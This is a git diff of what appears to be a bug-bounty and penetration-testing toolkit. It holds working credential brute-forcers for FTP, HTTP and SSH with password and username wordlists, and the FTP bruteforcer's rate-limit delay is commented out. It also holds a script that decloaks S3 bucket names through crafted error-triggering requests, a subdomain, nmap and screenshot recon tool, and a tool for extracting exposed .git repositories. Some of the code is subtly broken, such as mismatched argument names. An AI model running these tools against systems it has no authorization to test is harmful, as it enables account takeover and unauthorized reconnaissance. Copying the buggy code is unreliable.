(HTTP, FTP, SSH)') - parser.add_argument('-m', - help="additional parameter, eg . HTTP method (GET/POST)") - parser.add_argument('-r', help='service TCP port') - parser.add_argument('-e', help='error message to recognize failed attempt') - parser.add_argument('-p', help='file with passwords list') - parser.add_argument('-u', help='file with usernames list') - - args = parser.parse_args() - passwords = [] - usernames = [] - - if args.u: - usernames = open(args.U, "r").readlines() - if args.p: - passwords = open(args.P, "r").readlines() - if args.m: - method = args.m - counter = 1 - - if len(passwords) > 0 and len(usernames) > 0: - print "[*] Will try {} credentials, hold on...".format( - len(usernames) * len(passwords)) - for user in usernames: - for passwd in passwords: - single_try(user, passwd, method, counter) - counter += 1 - - print "[-] All done, valid credentials not found :(" - else: - print "[-] No usernames and/or passwords provided, exiting..." - exit(0) diff --git a/brutus/passwords_100.txt b/brutus/passwords_100.txt deleted file mode 100644 index 62665d7..0000000 --- a/brutus/passwords_100.txt +++ /dev/null @@ -1,119 +0,0 @@ -0000 -000000 -1111 -111111 -123 -123123 -123321 -1234 -12345 -123456 -123456 -1234567 -12345678 -123456789 -1234567890 -123qaz -123qwe -1a2b3c -1q2w3e -1q2w3e4r -1q2w3e4r5t -1qaz2wsx -54321 -654321 -Password -Password -a -aaa -abc -abc123 -abcd1234 -adam -admin -admin1 -admin123 -administrator -adrian -alex -apache -asdfgh -backup -changeme -daemon -david -debian -fedora -ftp -ftpguest -ftpuser -gdm -guest -informix -internet -john -letmein -linux -mail -manager -marketing -master -michael -mysql -mythtv -nagios -netdump -office -oracle -oracle123 -p@ssw0rd -pa55w0rd -pass -pass123 -passw0rd -passwd -password -password1 -password123 -paul -postgres -q1w2e3r4 -qazwsx -qwerty -qwertyuiop -r00t -redhat -roor -root -root1 -root123 -root1234 -rootroot -samba -secret -server -server -shell -spam -student -students -sunos -support -teamspeak -test -test123 -test2 -tester -testing -user -user1 -user123 -users -usuario -uucp -webadmin -webmaster -welcome -www-data -wwwrun -zxcvbnm diff --git a/brutus/usernames_14.txt b/brutus/usernames_14.txt deleted file mode 100644 index 697e486..0000000 --- a/brutus/usernames_14.txt +++ /dev/null @@ -1,14 +0,0 @@ -admin -administrator -company -corp -mysql -oracle -root -test -testing -user -webmaster -www-data -dev -developer \ No newline at end of file diff --git a/bucket-disclose.sh b/bucket-disclose.sh new file mode 100755 index 0000000..b0d834d --- /dev/null +++ b/bucket-disclose.sh @@ -0,0 +1,215 @@ +#!/bin/bash + +# Using error messages to decloak an S3 bucket. Uses soap, unicode, post, multipart, +# streaming and index listing as ways of figure it out. You do need a valid aws-key +# (never the secret) to properly get the error messages + +#### FORKED FROM https://gist.github.com/bl4de/35d5831e6eb4a29fe40626efbea7818e +#### Written by Frans Rosén (twitter.com/fransrosen) + + +_debug="$2" #turn on debug +_timeout="20" +#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key +_aws_key=$AWS_KEY + +H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3" +H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36" + +_log_file="./bucket-disclose.log" +_sed_bin=$(which gsed) +if [ "${_sed_bin}" == "" ]; then + _sed_bin=$(which sed) +fi + +_timeout_bin=$(which gtimeout) +if [ "${_timeout_bin}" == "" ]; then + _timeout_bin=$(which timeout) +fi + +r=$(echo "$1" | ${_sed_bin} -E 's/^[a-z]+:\/\///') #raw but without protocol +d=$(echo "$r" | cut -d "/" -f 1) #domain +pr=$(echo "$1" | ${_sed_bin} -E 's/(^[a-z]+:\/\/)?.*/\1/') #protocol, could be empty, use http if so +if [ "$pr" == "" ]; then pr="http://"; fi +pd="${pr}${d}" #protocol and domain always and only +u=$(echo "$1") #full url +p="${pr}$(echo "${r}" | rev | cut -d "/" -f 2- | rev)" # path without trailing slash (will be weird when bucket is in dir, but will be found later on) + +result() { + echo "$1" >> $_log_file + [ "$1" != "" ] && echo "$1" && exit 0; +} + +debug() { + echo "* $1" >> $_log_file + [ "$_debug" != "" ] && echo "* $1" +} + +is_bucket_already() { + _no_protocol=$(echo "$1" | ${_sed_bin} -E 's/^[a-z]+:\/\///') # function is reused after, make sure we clean up proto + _comp=$(echo "${_no_protocol}" | grep -vE "^[^:]*s3[^:]+amazonaws.*") #check if domain contains s3.*amazonaws.com + if [ "${_comp}" == "" ]; then + result $(echo "${_no_protocol}" | grep -E '^s3.*amazon[^/]+\/.*' | cut -d "/" -f 2) + result $(echo "${_no_protocol}" | grep -E '^[^:]+.s3.*amazon.*' | ${_sed_bin} -E 's/^([^\:]+).s3[^:]+amazon.*$/\1/'); + fi +} + +is_bucket() { + debug "checking if bucket: ${1}..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}" -sL -D- --insecure --max-time 5 | \ + grep -iE "^x-amz-error-code|^server: amazons3|AccessDenied|Code: AccessDenied|NoSuchKey") +} + +is_bucket_soap() { + debug "checking if bucket using soap... ${1}/soap" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/soap" -X POST -sL -D- --insecure --max-time 5 | \ + grep ">Missing SOAPAction header<") +} + +is_bucket_invalid_char() { + debug "checking if bucket using invalid char: ${1}/%83..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/%83" -sL -D- --insecure --max-time 5 | \ + grep -iE "InvalidURI|Code: InvalidURI|NoSuchKey") +} + +is_bucket_invalid_method() { + debug "checking if bucket using invalid method... ${1}/xyz" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/xyz" -X POSTX -sL -D- --insecure --max-time 5 | \ + grep "BadRequest") + if [ "${_response}" != "" ]; then + _response="${1}/xyz" + else + _response="" + fi +} + +is_bucket_listable() { + debug "checking if bucket is listable... ${1}/?abc" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "${1}/?abc" --insecure --max-time 5 | \ + grep "[^<]+" | cut -d ">" -f 2 | cut -d "<" -f 1) +} + +is_bucket_domain() { + debug "checking if domain exists as bucket: http://${1}.s3.amazonaws.com..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "http://${1}.s3.amazonaws.com" -sL --insecure --max-time 5 | grep -E "ListBucketResult|AccessDenied|PermanentRedirect") +} + +is_bucket_redirectable() { + debug "checking if url redirects to bucket... ${1}/xyzadad" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "$1/xyzadad" -D- | grep -i "^location:" | grep amazonaws | cut -d " " -f 2) + _response=$(is_bucket_already "${_response}") #remove s3-domain stuff +} + +is_redirecting() { + debug "check if URL redirects to other domain... ${1}" + _response=$(curl -Ls -o /dev/null -H "${H_ACCEPT}" -H "${H_AGENT}" -w %{url_effective} "${1}") + _od=$(echo "${1}" | ${_sed_bin} -E 's/^[a-z]+:\/\///' | cut -d "/" -f 1) + _rd=$(echo "${_response}" | ${_sed_bin} -E 's/^[a-z]+:\/\///' | cut -d "/" -f 1) + if [ "${_od}" == "${_rd}" ]; then + _response="" + fi +} + +bucket_unicode_sign_error() { + debug "checking unicode-error... ${1}/åäö" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "${1}/åäö" --insecure --max-time 5 | grep "host:" | grep "amazonaws.com" | cut -d ":" -f 2) + _response=$(is_bucket_already "${_response}") #remove s3-domain stuff +} + +bucket_post_sign_error() { + debug "checking post-error... ${1}/okok?456" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?456" -H "Authorization: AWS ${_aws_key}:x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_get_sign_error() { + debug "checking get-error... ${1}/okok?AWSAccessKey..." + _response=$(${_timeout_bin} ${_timeout} curl -X GET -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?AWSAccessKeyId=${_aws_key}&Expires=$(expr $(date +%s) + 1000)&Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_put_sign_error() { + debug "checking put-error... ${1}/okok?AWSAccessKey..." + _response=$(${_timeout_bin} ${_timeout} curl -X PUT -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?AWSAccessKeyId=${_aws_key}&Expires=$(expr $(date +%s) + 1000)&Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_multipart_sign_error() { + debug "checking multipart-error... ${1}/?789" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" --form "d=x" -X POST "${1}/?789" \ + -H "Authorization: AWS ${_aws_key}:x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_streaming_sign_error() { + debug "checking streaming sign-error... ${1}/ioioio?987" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/ioio?987" -sL -H \ + "Authorization: AWS4-HMAC-SHA256 Credential=${_aws_key}/20180101/ap-south-1/s3/aws4_request,SignedHeaders=date;host;x-amz-acl;x-amz-content-sha256;x-amz-date,Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -H \ + "x-amz-content-sha256: STREAMING-AWS4-HMAC-SHA256-PAYLOAD" | grep "" -A 1 | tail -n 1 | cut -d "/" -f 2) +} + +change_bucket_location() { + debug "changing location of bucket... ${1}" + p="$1" + _response="1" +} + +> $_log_file +debug "start checking... ${u}" +is_bucket_already "${r}" +is_bucket "${pd}" +[ "${_response}" == "" ] && is_bucket_soap "${pd}" +_is_root_bucket="${_response}" +_bucket_location="" + +if [ "${_is_root_bucket}" != "" ]; then + _bucket_location="${pd}" +else + is_bucket_soap "${p}" + [ "${_response}" == "" ] && is_bucket "${p}" + [ "${_response}" == "" ] && is_bucket "${p}/xyzabc" && change_bucket_location "${p}/xyzabc" + [ "${_response}" == "" ] && is_bucket_invalid_method "${p}" + [ "${_response}" == "" ] && is_bucket_invalid_char "${p}" + + if [ "${_response}" != "" ]; then + _bucket_location="${p}" + fi +fi + +if [ "${_bucket_location}" != "" ]; then + debug "bucket-location: ${_bucket_location}" + bucket_unicode_sign_error "${_bucket_location}" + result "${_response}" + bucket_streaming_sign_error "${_bucket_location}" + result "${_response}" + bucket_get_sign_error "${_bucket_location}" + result "${_response}" + bucket_post_sign_error "${_bucket_location}" + result "${_response}" + bucket_put_sign_error "${_bucket_location}" + result "${_response}" + bucket_multipart_sign_error "${_bucket_location}" #this one can bug out with fastly, since host is being different when POST + result "${_response}" + is_bucket_listable "${_bucket_location}" + result "${_response}" + is_bucket_redirectable "${_bucket_location}" + result "${_response}" +fi + +#if [ "${_is_root_bucket}" ]; then +is_bucket_domain "${d}" +[ "${_response}" != "" ] && result "${d}" +#fi + +is_redirecting "${pr}${r}" +[ "${_response}" != "" ] && bash $0 "${_response}" "$2" || debug "location is not a bucket: ${pr}${r} (${_bucket_location})" && exit 1 + +exit 0 diff --git a/chromium b/chromium deleted file mode 100755 index 5e907ef..0000000 --- a/chromium +++ /dev/null @@ -1,37 +0,0 @@ -#!/bin/bash -# -# see available options: -# http://peter.sh/experiments/chromium-command-line-switches/ -# -# 8080 - is a standard port for Burp - -# To disable XSS Auditor in Chromium simply put 0 as second argument, 1 leaves XSS Auditor enabled -# to enable auto opening DevTools, set 1 as a third argument - -echo -echo "Usage: chromium [port] [enable xss Auditor] [open DevTools for new tabs]" -echo " example:" -echo " $ chromium 8080 1 1 - runs Chromium listening on 8080, XSS Auditor enabled and DevTools open in new tab(s)" - -# default settings -xss_auditor="" -port="" -devtools="" - -if [ $1 -ne 80 ]; then - port="--proxy-server=127.0.0.1:$1" -fi - -if [ $2 == 0 ]; then - xss_auditor="--disable-xss-auditor" -fi - -if [ $3 == 1 ]; then - devtools="--auto-open-devtools-for-tabs" -fi - -# update those lines to your system specific path: -cd /Applications/Chromium.app/Contents/MacOS -echo "[+] running ./Chromium $port $xss_auditor $devtools" - -./Chromium $port $xss_auditor $devtools diff --git a/decode b/decode deleted file mode 100644 index 5a599a8..0000000 --- a/decode +++ /dev/null @@ -1 +0,0 @@ -DOMFBGDxBc9xK7seJjwbgRcfGUMjatIzbXRAY4nKJan2KJgKx6nM9g== diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index a297541..da41757 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -1,9 +1,14 @@ -#!/usr/bin/python +#!/usr/bin/env python # pylint: disable=invalid-name +""" +@TODO +- results summary +""" + """ --- dENUMerator --- -by bl4de | bloorq@gmail.com | Twitter: @_bl4de | HackerOne: bl4de +by bl4de | bloorq@gmail.com | HackerOne: bl4de Enumerates list of subdomains (output from tools like Sublist3r or subbrute) and creates output file with servers responding on port 80/HTTP @@ -14,31 +19,349 @@ $ ./denumerator.py [domain_list_file] """ -import sys +import argparse +import json +import os +import subprocess +import time +from datetime import datetime + import requests welcome = """ --- dENUMerator --- usage: -$ ./denumerator.py [domain_list_file] +$ ./denumerator.py -f DOMAINS_LIST -t 5 """ -requests.packages.urllib3.disable_warnings() +DEFAULT_DIRECTORY = 'report' -allowed_http_responses = [200, 302, 304, 401, 404, 403, 500] +colors = { + "white": '\33[37m', + 200: '\33[32m', + 204: '\33[32m', + 206: '\33[32m', + 301: '\33[33m', + 302: '\33[33m', + 303: '\33[33m', + 304: '\33[33m', + 401: '\33[94m', + 403: '\33[94m', + 404: '\33[94m', + 405: '\33[94m', + 411: '\33[94m', + 412: '\33[94m', + 415: '\33[94m', + 422: '\33[94m', + 429: '\33[94m', + 500: '\33[31m', + "magenta": '\33[35m', + "cyan": '\33[36m', + "grey": '\33[90m', + "lightgrey": '\33[37m' +} +requests.packages.urllib3.disable_warnings() -domains = open(sys.argv[1].strip(), 'rw').readlines() -output_file = open(sys.argv[1] + '_denumerator_output.txt', 'w+') +timeout = 2 +nmap = True +element_class_name_iterator = 1 def usage(): """ prints welcome message """ - print welcome + print(welcome) + + +def create_output_header(html_output): + html = """ + + + + + denumerator output + + + + + + + + + +
+ + """ + html_output.write(html) + return + + +def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses, output_directory): + global element_class_name_iterator + + screenshot_name = url.replace('https', '').replace( + 'http', '').replace('://', '') + '.png' + screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="HackerOne" --disable-gpu --dns-prefetch-disable --log-level=0 --timeout=30000 --virtual-time-budget=999999 --run-all-compositor-stages-before-draw --screenshot={} '.format( + './reports/{}/'.format(output_directory) + screenshot_name) + + # os.system(screenshot_cmd + url) + subprocess.run( + screenshot_cmd + url, + shell=True, + timeout=30 + ) + + # base color for all responses + http_status_code_color = "000" + + # green - 200 OK + if http_status_code == 200: + http_status_code_color = "0c0" + + # red - error responses, but HTTP server exists + if http_status_code in [403, 415, 422, 500]: + http_status_code_color = "c00" + + # IP address information + ip_html = "
" + ips = [ip for ip in ip_addresses.split(b"\n")] + for ip in ips: + if ip.find(b"address") > 0: + ip_html = ip_html + "

IP: {}

".format( + ip.split(b"address")[1].decode("utf-8")) + ip_html = ip_html + "
" + + nmap_html = "
" + if nmap == True: + # nmap scan results + open_ports = [port for port in nmap_output.stdout.split( + b"\n") if port.find(b"open") > 0] + for port in open_ports: + nmap_html = nmap_html + \ + "

{}

".format( + port.decode("utf-8")) + nmap_html = nmap_html + "
" + + # HTTP response headers + response_headers_html = "" + for header in response_headers.keys(): + response_headers_html = response_headers_html + "

{} : {}

".format( + header, response_headers[header] + ) + element_class_name = 'result_{}'.format(element_class_name_iterator) + element_class_name_iterator += 1 + + html = """ + + + + + + + + + + + """.format( + (http_status_code // 100), + http_status_code_color, + element_class_name, + http_status_code, + url, + url, + (http_status_code // 100), + element_class_name, + screenshot_name, + screenshot_name, + response_headers_html, + ip_html, + nmap_html + ) + html_output.write(html) + html_output.flush() + return + + +def create_output_footer(html_output): + html = """ +
+

+ HTTP Response Status: {} + {} +

+
+ + + + +

HTTP Response Headers

+ {} +
+

IP host addresses

+ {} +
+

nmap scan results

+ {} +
+
+ + + """ + html_output.write(html) + return + + +def send_request(proto, domain, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory): """ sends request to check if server is alive """ @@ -46,49 +369,197 @@ def send_request(proto, domain, output_file): 'http': 'http://', 'https': 'https://' } + + print('\t--> {}{}{}{}'.format(colors['magenta'], protocols.get(proto.lower()), domain, colors['white'])) + resp = requests.get(protocols.get(proto.lower()) + domain, - timeout=5, + timeout=timeout, allow_redirects=False, verify=False, headers={'Host': domain}) + if str(resp.status_code) in allowed_http_responses: + print('[+] {} {}HTTP {}{}:\t {}'.format( + datetime.now().strftime("%H:%M:%S"), colors[resp.status_code], resp.status_code, colors['white'], domain)) + + if str(resp.status_code) in allowed_http_responses: + append_to_output(html_output, protocols.get( + proto.lower()) + domain, resp.status_code, resp.headers, nmap_output, ip, output_directory) + + if output_file: + output_file.write('{}\n'.format(domain)) + output_file.flush() - if resp.status_code in allowed_http_responses: - print '[+] domain {}:\t\t HTTP {}'.format(domain, resp.status_code) - output_file.write('HTTP Response: {}\t\t{}\n'.format( - resp.status_code, domain)) - output_file.flush() return resp.status_code -def enumerate_domains(domains, output_file): +def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, output_directory, + show=False): """ enumerates domain from domains """ + iterator = 0 + number_of_domains = len(domains) for d in domains: + iterator = iterator + 1 try: d = d.strip('\n').strip('\r') - return_code = send_request('http', d, output_file) - # if http not working, try https - if return_code not in allowed_http_responses: - send_request('https', d, output_file) + print('\n{}[+] Checking domain {} from {}...{}'.format(colors['grey'], + iterator, number_of_domains, colors['white'])) + # IP address + ip = subprocess.run( + ["host", d], capture_output=True, timeout=15).stdout + nmap_output = '' + + if nmap == True: + # perform nmap scan + nmap_output = subprocess.run( + ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) + print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") + for port in nmap_output.stdout.split(b"\n") if + port.find(b"open") > 0], '{}'.format(colors['white'])) + + send_request('http', d, output_file, + html_output, allowed_http_responses, nmap_output, ip, output_directory) + time.sleep(1) + + send_request('https', d, output_file, + html_output, allowed_http_responses, nmap_output, ip, output_directory) + time.sleep(1) except requests.exceptions.InvalidURL: - print '[-] {} is not a valid URL :/'.format(d) + if show is True: + print('[-] {} is not a valid URL :/'.format(d)) except requests.exceptions.ConnectTimeout: - print '[-] {} :('.format(d) + if show is True: + print('[-] {} :('.format(d)) continue except requests.exceptions.ConnectionError: - print '[-] connection to {} aborted :/'.format(d) + if show is True: + print('[-] connection to {} aborted :/'.format(d)) except requests.exceptions.ReadTimeout: - print '[-] {} read timeout :/'.format(d) + if show is True: + print('[-] {} read timeout :/'.format(d)) except requests.exceptions.TooManyRedirects: - print '[-] {} probably went into redirects loop :('.format(d) + if show is True: + print('[-] {} probably went into redirects loop :('.format(d)) + except UnicodeError: + pass + except subprocess.TimeoutExpired: + pass else: pass -if len(sys.argv) < 2: - print welcome - exit(0) -enumerate_domains(domains, output_file) -output_file.close() +def enumerate_from_crt_sh(domain): + ''' + Perform subdomains enumeration using crt.sh service + ''' + base_url = "https://crt.sh/?q={}&output=json".format(domain) + data = {} + enumerated_subdomains = [] + + resp = requests.get(base_url) + + if resp.status_code == 200: + data = json.loads(resp.content.decode('utf-8')) + for elem in data: + if elem['common_name'] not in enumerated_subdomains: + enumerated_subdomains.append(elem['common_name']) + + if len(enumerated_subdomains) > 0: + print("{}[+] Done! Found {} subdomains, performing HTTP servers enumeration...{}".format( + colors['cyan'], len(enumerated_subdomains), colors['white'])) + return enumerated_subdomains + else: + exit("[-] No data retrieved for domain {}".format(domain)) + + +def main(): + parser = argparse.ArgumentParser() + allowed_http_responses = [] + + parser.add_argument( + "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored)") + parser.add_argument( + "-t", "--target", + help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") + parser.add_argument( + "-s", "--success", help="Show all responses, including exceptions", action='store_true') + parser.add_argument( + "-o", "--output", help="Path to text output file with all domains with identified web servers") + parser.add_argument( + "-d", "--dir", help="Output directory name (default: report/)") + parser.add_argument( + "-c", "--code", help="Show only selected HTTP response status codes, comma separated", + default='200,206,301,302,403,422,500' + ) + parser.add_argument( + "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", + action='store_true' + ) + parser.add_argument( + "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 + ) + + args = parser.parse_args() + + if args.nmap: + nmap = True + + if args.dir: + output_directory = args.dir + else: + output_directory = DEFAULT_DIRECTORY + + if args.code: + allowed_http_responses = args.code.split(',') + else: + allowed_http_responses = ['200', '301', '500'] + + nmap_top_ports = args.ports + + # set options + show = True if args.success else False + + # use provided file with list of hostnames or perform subdomain enumeration with crt.sh: + if args.target is None and args.file is not None and os.path.isfile(args.file): + domains = open(args.file, 'r').readlines() + elif args.target is not None and args.file is None: + domains = enumerate_from_crt_sh(args.target) + else: + exit('[-] No file with hostnames or domain to recon. Use either -f or -t option') + + # create dir for HTML report + if os.path.isdir('reports') == False: + os.mkdir('reports') + if os.path.isdir('reports/{}'.format(output_directory)) == False: + os.mkdir('reports/{}'.format(output_directory)) + + # starts output HTML + html_output = open( + 'reports/{}/__denumerator_report.html'.format(output_directory), 'w+') + create_output_header(html_output) + + # if output filename was specified, create it and use to write report result + if args.output: + output_filename = os.path.join( + 'reports', output_directory, args.output) + output_file = open(output_filename, 'w+') + else: + output_file = open('__enumerated_domains.txt', 'w+') + + # main loop + enumerate_domains(domains, output_file, html_output, + allowed_http_responses, nmap_top_ports, output_directory, show) + + # finish HTML output + create_output_footer(html_output) + html_output.close() + + # close output file + if args.output: + output_file.close() + + +if __name__ == "__main__": + main() diff --git a/diggit/src/diggit.py b/diggit/diggit.py similarity index 79% rename from diggit/src/diggit.py rename to diggit/diggit.py index 1929c82..d682b06 100755 --- a/diggit/src/diggit.py +++ b/diggit/diggit.py @@ -1,7 +1,5 @@ #!/usr/bin/python -# -# bl4de | | https://twitter.com/_bl4de -# +## # diggit - gets .git repository import argparse import os @@ -26,38 +24,34 @@ def print_banner(): """Prints credits :)""" - print "\n\n", "#" * 78 - print "###", " " * 70, "###" - print "###", " " * 70, "###" - print "### diggit.py | Twitter: @_bl4de " \ - "| GitHub: bl4de ###" - print "###", " " * 70, "###" - print "###", " " * 70, "###" - print "#" * 78 + pass def print_object_details(objtype, objcontent, objhash, objfilename): """Prints and saves object details/content""" - print "\n" + term["cyan"] + "#" * 12 + " " + objhash \ - + " information " + "#" * 12 + term["endl"] - print "\n{0}[*] Object type: {3}{2}{1}{3}".format( - term["green"], objtype, term["red"], term["endl"]) - + print("\n" + term["cyan"] + "#" * 12 + " " + objhash + + " information " + "#" * 12 + term["endl"]) + print("\n{0}[*] Object type: {3}{2}{1}{3}".format( + term["green"], objtype, term["red"], term["endl"])) if objfilename != "": global localgitrepo tmpfp = localgitrepo + "/" + objfilename - print "{0}[*] Object filename: {3}{2}{1}{3}".format( - term["green"], objfilename, term["red"], term["endl"]) - print "{0}[*] Object saved in {2}:{1}".format( - term["green"], term["endl"], tmpfp) + print("{0}[*] Object filename: {3}{2}{1}{3}".format( + term["green"], objfilename, term["red"], term["endl"])) + print("{0}[*] Object saved in {2}:{1}".format( + term["green"], term["endl"], tmpfp)) tmpfile = open(tmpfp, "w") tmpfile.write("// diggit.py by @bl4de | {} content\n".format(objhash)) tmpfile.writelines(objcontent) tmpfile.close() - print "{0}[*] Object content:{1}\n".format(term["green"], term["endl"]) - print "{0}{1}{2}".format(term["yellow"], objcontent, term["endl"]) + print("{0}[*] Object content:{1}\n".format(term["green"], term["endl"])) + if len(objcontent) < 2048: + print("{0}{1}{2}".format(term["yellow"], objcontent, term["endl"])) + else: + print("{}[!] file too big to preview - {} kB{}".format( + term["red"], len(objcontent)/1024, term["endl"])) def get_object_url(objhash): @@ -118,7 +112,8 @@ def save_git_object(baseurl, objhash, berecursive, objfilename=""): parser.add_argument('-t', help='path to temporary Git folder on local machine') parser.add_argument('-o', help='object hash (SHA-1, all 40 characters)') - parser.add_argument('-r', default=False, + parser.add_argument('-r', + action="store_true", help='be recursive (if commit or tree hash ' 'found get all blobs too). Default is \'False\'') @@ -139,4 +134,4 @@ def save_git_object(baseurl, objhash, berecursive, objfilename=""): if baseurl and objecthash: print_banner() save_git_object(args.u, args.o, berecursive, "") - print "\n" + term["cyan"] + "#" * 78 + term["endl"] + print("\n" + term["cyan"] + "#" * 78 + term["endl"]) diff --git a/encoder/ed.py b/encoder/ed.py deleted file mode 100755 index 32570d5..0000000 --- a/encoder/ed.py +++ /dev/null @@ -1,96 +0,0 @@ -#!/usr/bin/env python -"""ED encoder/decoder tools - bl4de | bloorq@gmail.com | Twitter: @_bl4de | H1: bl4de | GitHub: bl4de - - Simple encoder/decoder tool - ./ed.py [string to encode] [input encoding] [output encoding] -""" -import base64 -import sys -import urllib - - -def __get_char_hex_value(c): - """returns 61; for 'a' truncated from 0x61""" - return hex(ord(c)).replace("0x", "") - - -def to_base_64(s): - return base64.b64encode(s) - - -def from_base_64(s): - return base64.b64decode(s) - - -def url_encode(s): - return urllib.quote(s) - - -def to_ascii(s): - return s - - -def from_ascii(s): - return s - - -def from_hex(s): - xs = "" - decimals = s.split() - for d in decimals: - xs += str(int(d, 10)) - - return xs - - -def to_hex(s): - xs = "" - hexnums = s.split() - for d in hexnums: - hexnum = str(hex(int(d, 10))).replace("0x", "") - if len(hexnum) < 2: - hexnum = "0" + hexnum - xs += hexnum + " " - - return xs - - -def to_html_entities(s): - xs = "" - for c in s: - entity = "�" + __get_char_hex_value(c) + ";" - if entity: - xs += entity - return xs - - -if __name__ == "__main__": - fn_map_from = { - "base64": from_base_64, - "ascii": from_ascii, - "hex": from_hex - } - - fn_map_to = { - "base64": to_base_64, - "ascii": to_ascii, - "url": url_encode, - "hex": to_hex, - "html_entities": to_html_entities - } - - if len(sys.argv) != 4: - print "usage: ed.py [string] [input] [output]" \ - "\n\n input: base64, ascii, hex\n " \ - "output: base64, ascii, url, hex, html_entities ( eg. )" - exit(0) - - # f = open(sys.argv[1], "r") - # # TODO remove special chars - arg passing - # data = f.readline().replace("\\n", "") - - data = sys.argv[1] - output = fn_map_from[sys.argv[2]](fn_map_to[sys.argv[3]](data)) - - print output diff --git a/encoder/test.txt b/encoder/test.txt deleted file mode 100644 index 2b804be..0000000 --- a/encoder/test.txt +++ /dev/null @@ -1 +0,0 @@ -script \ No newline at end of file diff --git a/fixgz b/fixgz new file mode 100755 index 0000000..71f6d9c Binary files /dev/null and b/fixgz differ diff --git a/fixgz.cpp b/fixgz.cpp new file mode 100644 index 0000000..1e869c6 --- /dev/null +++ b/fixgz.cpp @@ -0,0 +1,52 @@ +/* fixgz attempts to fix a binary file transferred in ascii mode by + * removing each extra CR when it followed by LF. + * usage: fixgz bad.gz fixed.gz + + * Copyright 1998 Jean-loup Gailly + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the author be held liable for any damages + * arising from the use of this software. + + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely. + */ + +#include +#include + +int main(int argc, char* argv[]) +{ + int c1, c2; /* input bytes */ + FILE* in; /* corrupted input file */ + FILE* out; /* fixed output file */ + + if (argc <= 2) { + fprintf(stderr, "usage: fixgz bad.gz fixed.gz\n"); + exit(1); + } + in = fopen(argv[1], "rb"); + if (in == NULL) { + fprintf(stderr, "fixgz: cannot open %s\n", argv[1]); + exit(1); + } + out = fopen(argv[2], "wb"); + if (in == NULL) { + fprintf(stderr, "fixgz: cannot create %s\n", argv[2]); + exit(1); + } + + c1 = fgetc(in); + + while ((c2 = fgetc(in)) != EOF) { + if (c1 != '\r' || c2 != '\n') { + fputc(c1, out); + } + c1 = c2; + } + if (c1 != EOF) { + fputc(c1, out); + } + exit(0); + return 0; /* avoid warning */ +} \ No newline at end of file diff --git a/ftpLoginBruteforcer.py b/ftpLoginBruteforcer.py index 93c80df..5f85dd6 100755 --- a/ftpLoginBruteforcer.py +++ b/ftpLoginBruteforcer.py @@ -20,15 +20,14 @@ print ftp.getwelcome() # pwds = ['root','123456','password'] tries = 0 -# for p in open('/Users/bl4de/hacking/dictionaries/passwords_5445.txt', 'r').readlines(): -for p in open('./passwords.txt', 'r').readlines(): -# for p in pwds: +for p in open('/Users/bl4de/hacking/dictionaries/100000_passwords.txt', 'r').readlines(): + # for p in pwds: try: tries = tries + 1 print "[+] try {}: trying {}:{}".format(tries, username, p.strip()) resp = ftp.sendcmd('USER {}'.format(username)) print resp - time.sleep(4) + # time.sleep(4) resp = ftp.sendcmd('PASS {}'.format(p.strip())) print resp print "[+] Logged in! -> {}".format(str(resp)) @@ -36,4 +35,3 @@ except Exception, e: print e pass - 